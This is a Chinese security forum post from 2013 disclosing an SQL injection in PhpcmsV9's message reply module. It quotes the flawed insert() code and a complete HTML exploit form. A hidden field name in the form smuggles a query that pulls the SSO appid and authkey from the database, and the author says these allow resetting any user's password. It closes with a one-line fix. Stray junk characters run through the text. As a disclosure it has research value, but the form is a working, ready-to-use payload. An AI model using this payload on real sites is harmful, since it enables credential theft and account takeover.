找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2514|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
, q- w$ B; ~+ V) y% n4 U, G3 b6 G% r
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。( _# w) i! B7 \6 ]0 Q# Z8 V- T
8 b6 ~% v" L( Y  K1 J& f5 ]2 n. {& y
明天再更新下一个漏洞。& t! W# y* ^- `2 v# z/ L' r; {
详细说明:
" B) ], J' t8 [% p! h在/phpcms9/phpcms/modules/message/index.php中有代码如下:' u4 Y' Q+ W. B2 ^; r+ {
' @; K! l; [' P' ?/ @2 _$ ?
$messageid = $this->message_db->insert($_POST['info'],true);$ D/ y$ y4 b# J" O6 X  \1 O
7 i- d. p' k# w3 Z

2 y: J1 i; g& o2 iinsert方法是key value的,代码如下:
7 h  C, Z; j& G1 J9 J, u& {4 ?) P! A0 B4 X" y/ O) n& P& Y4 x6 w
public function insert($data, $table, $return_insert_id = false, $replace = false) {
* q9 h" U5 S! X                if(!is_array( $data ) || $table == '' || count($data) == 0) {
- @% Z% y' w" _" R                        return false;
- B& E/ S) H! k& r! x4 v2 n1 u                }! X9 F4 p  c/ F( O
                ! ~7 V7 h7 U% ^  O8 `
                $fielddata = array_keys($data);+ J; m+ A. l$ ]
                $valuedata = array_values($data);
/ S, }# M; @7 M2 e! t                array_walk($fielddata, array($this, 'add_special_char'));
# x2 I: i: \- Y; M                array_walk($valuedata, array($this, 'escape_string'));
9 ~/ Q& M. |+ \, U& {% S               
+ F) D5 q) k5 K/ M" [                $field = implode (',', $fielddata);
% e  J6 }$ _* h5 s  \2 J, [! d' f                $value = implode (',', $valuedata);! W1 a2 b3 a2 F- C! W. O1 D( F: L

# r* k8 A$ l* W; q( z6 M: O" e                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
9 h8 W+ i8 N( m7 y& V/ {                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';9 P- K  U( g( j/ X% r+ y4 H$ D- r
                $return = $this->execute($sql);8 A. ]8 n* K* v3 c! H+ O5 D
                return $return_insert_id ? $this->insert_id() : $return;. J; C& A. T5 q0 a# u; j# v
        }' s  o% D  o2 Q" T' I. V; h
& W/ c" L3 E9 n5 O: g

, C2 @- F! s5 \; v嗯,很遗憾的是5 Z- K5 h  z4 p# [$ ^) O
+ D! j3 a0 [. d7 m' O
array_walk($fielddata, array($this, 'add_special_char'));& A; `  s) y- _0 b# b' `# n, d0 j

7 \4 G! m( T9 [( ?2 O3 p% K
8 e& ^: x8 ]# y; f7 f- F& v- w中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。4 T& a3 a4 a. o$ h
0 U' u; f: G$ S1 t, \
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
# f7 i# u( s% _0 M4 F
+ _9 I* J- A" B0 U4 }0 [0 b" [漏洞证明:
/ S7 |' v' {! b: l+ E读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。8 I8 _8 q8 ~# g/ D! K

6 a# I. w/ i) R" ~- s4 U" {& {* U' M- E
表单如下:用户名什么的得自己改一改。
+ O/ @! J, O6 n+ [8 `( U<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">, Q) E: K- L7 n7 x- h6 U
<table width="100%" cellspacing="0" class="table_form">" \1 r: Q+ z5 D
<tr>
2 z& P3 ^# e9 n# i$ }' ~<th>标 题:</th>
" k* L- f  T; `. `( t) P<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>" O' P1 X; s/ J3 O
</tr>
8 n( ]9 h. K; @2 B2 P, d<tr>
7 @4 [1 X  l2 U+ H9 Y; E<th>内 容:</th>
) U' Z2 y1 O" Q<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
; s( }& G% H) D* m4 b</tr>" T2 S. V& `5 y
<input type="hidden" name="info[replyid]" value="2" /> 7 `. D- L% y1 c/ r& Q
<input type="hidden" name="info[send_to_id]" value="cc" /> * Z8 C/ I5 }- \6 Z5 D5 L
<input type="hidden" name="info[send_from_id]" value="hh">2 B: G* C0 x! L; _: f  ^4 U( L1 q
<!-- 漏洞的利用重点在这里开始 -->
3 i& u7 Q  c, @# m<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
9 p4 @1 C% t& W<!-- 漏洞的利用重点在这里结束 -->4 [. `! w' w1 A& u4 W3 ]' k9 B4 W
<tr>
+ ]2 E4 |) J& q6 X<th>验证码:</th>/ I8 T& s8 C) v8 V; l
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>3 Z0 j9 ^3 ?5 e) Y$ E' z7 ?3 z
</tr>
2 `' X, |" F+ f, e/ P4 J1 H<tr>
% _% ]) I' F5 q& g6 D( P5 h$ E/ C<td></td>
4 x2 T) h( S; F0 Z<td colspan="2"><label>
/ f5 k6 s/ Q& ^& P! I<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
& P/ R  t  X  L& Y5 E( J4 P' ?</label></td>/ y1 p2 v3 }3 r
</tr>7 i/ E  M& I5 b4 J
</table>: D5 c! P, w1 r3 A# Q
</form>, n9 k3 A5 \6 \) f
在add_special_char函数内对key做过滤就可以了。
6 `: l; x6 x# @& [5 B0 Q2 j. _' n0 |5 M* S! N

. @+ }9 o3 q2 V3 u1 y- L5 R- ?+ m9 {) i7 d

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表